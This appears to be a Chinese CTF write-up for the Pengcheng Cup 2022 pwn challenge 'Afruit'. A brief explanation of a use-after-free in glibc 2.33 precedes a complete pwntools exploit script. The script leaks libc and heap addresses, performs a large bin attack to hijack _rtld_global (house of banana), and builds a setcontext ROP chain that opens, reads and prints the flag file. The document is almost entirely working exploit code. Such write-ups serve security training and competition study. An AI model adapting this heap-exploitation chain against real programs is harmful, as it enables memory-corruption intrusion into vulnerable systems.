0%

鹏城杯2022_Afruit

delete没有清空指针,导致UAF

堆大小限制在large bin范围

题目glibc环境为2.33,可以直接使用house of banana方法劫持rtld_global

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#coding:utf8
from pwn import *

#sh = process('./A_fruit_patch')
sh = remote('192.168.1.105',8888)
libc = ELF('./libc-2.33.so')
#sh = process('./A_fruit')

def add(size):
sh.sendlineafter('5.Exit','1')
sh.sendlineafter('size:',str(size))


def edit(index,content):
sh.sendlineafter('5.Exit','2')
sh.sendlineafter('index:',str(index))
sh.sendafter('content:',content)

def show(index):
sh.sendlineafter('5.Exit','3')
sh.sendlineafter('index:',str(index))

def delete(index):
sh.sendlineafter('5.Exit','4')
sh.sendlineafter('index:',str(index))

add(0x410) #0
add(0x410) #1

delete(0)

add(0x410) #2
show(2)
sh.recvuntil('\n')
enc1_1 = int(sh.recvuntil('\n',drop = True),16)
enc2_1 = int(sh.recvuntil('\n',drop = True),16)
edit(2,'aa')
show(2)
sh.recvuntil('\n')
enc1_2 = int(sh.recvuntil('\n',drop = True),16)

edit(2,'a'*6)
show(2)
sh.recvuntil('\n')
sh.recvuntil('\n')
enc2_2 = int(sh.recvuntil('\n',drop = True),16)


def decrypt(enc1_1,enc2_1,enc1_2,enc2_2):
p = process('./crack')
p.sendafter('mode:',p32(1))
p.sendafter('prefix:','aa')
p.sendafter('enc:',p32(enc1_2))
p.recvuntil('0x')
w1 = int(p.recv(4),16)
p.close()

p = process('./crack')
p.sendafter('mode:',p32(2))
p.sendafter('fix:',p16(w1))
p.sendafter('enc:',p32(enc1_1))
p.recvuntil('0x')
w0 = int(p.recv(4),16)
p.close()

#print hex(w0),hex(w1)

p = process('./crack')
p.sendafter('mode:',p32(1))
p.sendafter('prefix:','aa')
p.sendafter('enc:',p32(enc2_2))
p.recvuntil('0x')
w3 = int(p.recv(4),16)
p.close()

p = process('./crack')
p.sendafter('mode:',p32(2))
p.sendafter('fix:',p16(w3))
p.sendafter('enc:',p32(enc2_1))
p.recvuntil('0x')
w2 = int(p.recv(4),16)
p.close()

#print hex(w2),hex(w3)

return (w3 << 48) | (w2 << 32) | (w1 << 16) | w0

libc_base = decrypt(enc1_1,enc2_1,enc1_2,enc2_2) - 0x1e0c00
print 'libc_base=',hex(libc_base)
_rtld_global_ptr_addr = libc_base + 0x222040
print '_rtld_global_ptr_addr=',hex(_rtld_global_ptr_addr)

add(0x450) #3
add(0x420) #4
add(0x440) #5
add(0x420) #6
add(0x410) #7
add(0x410) #8


delete(0)
delete(4)
delete(6)

add(0x500) #9
add(0x420) #10
add(0x420) #11
add(0x410) #12

show(10)
sh.recvuntil('\n')
enc1_1 = int(sh.recvuntil('\n',drop = True),16)
enc2_1 = int(sh.recvuntil('\n',drop = True),16)
edit(10,'aa')
show(10)
sh.recvuntil('\n')
enc1_2 = int(sh.recvuntil('\n',drop = True),16)

edit(10,'a'*6)
show(10)
sh.recvuntil('\n')
sh.recvuntil('\n')
enc2_2 = int(sh.recvuntil('\n',drop = True),16)
heap_addr = decrypt(enc1_1,enc2_1,enc1_2,enc2_2)
print 'heap_addr=',hex(heap_addr)

delete(3)
#将3放入large bin
add(0x500) #13
#将5和7放入unsorted bin
delete(5)
delete(7)

#修改large bin的bk_nextsize
edit(3,p64(0)*3 + p64(_rtld_global_ptr_addr-0x20))

#large bin attack to hijack rtld_global
add(0x410) #14

fake_rtld_global_addr = heap_addr + 0x840

add(0x440) #15
edit(3,p64(libc_base + 0x1e1000)*2 + p64(heap_addr + 0x840)*2)

delete(1)
add(0x440) #16
#fake rtld_global
edit(16,'\x00'*0x420 + p64(0) + p64(libc_base + 0x2237d0) + p64(0) + p64(fake_rtld_global_addr))

add(0x420) #17


retn = libc_base + 0x52a92
set_context = libc_base + 0x529ad
pop_rdi = libc_base + 0x0000000000028a55
pop_rsi = libc_base + 0x000000000002a4cf
pop_rdx = libc_base + 0x00000000000c7f32
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
opendir_addr = libc_base + libc.sym['opendir']
readdir_addr = libc_base + libc.sym['readdir']
mov_p_rdi_rax = libc_base + 0x0000000000041a03
#mov rdi, qword ptr [rdi + 0xe0] ; jmp rax
mov_rdi_p_rdi = libc_base + 0x000000000007efdd
pop_rax = libc_base + 0x0000000000044c70


flag_addr = heap_addr + 0x910
rop = p64(flag_addr) + p64(pop_rsi) + p64(0)
rop += p64(open_addr)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x100) + p64(write_addr)
rop += './flag\x00'

print hex(len(rop))

payload = rop.ljust(0xd0,'\x00')
payload += p64(fake_rtld_global_addr + 0x8*0x24)
payload += p64(0) + p64(fake_rtld_global_addr + 0x8*0x25)
payload += p64(fake_rtld_global_addr + 0x8*0x32) + p64(0x10) #func count
payload = payload.ljust(0x150,'\x00')

payload += p64(set_context)
payload += p64(retn)
payload += '\x00'*0x98
payload += p64(heap_addr + 0x880) #new rsp
payload += p64(pop_rdi)

payload = payload.ljust(0x31c-0x40,'\x00')
payload += p32(0x8)

edit(17,payload)


sh.interactive()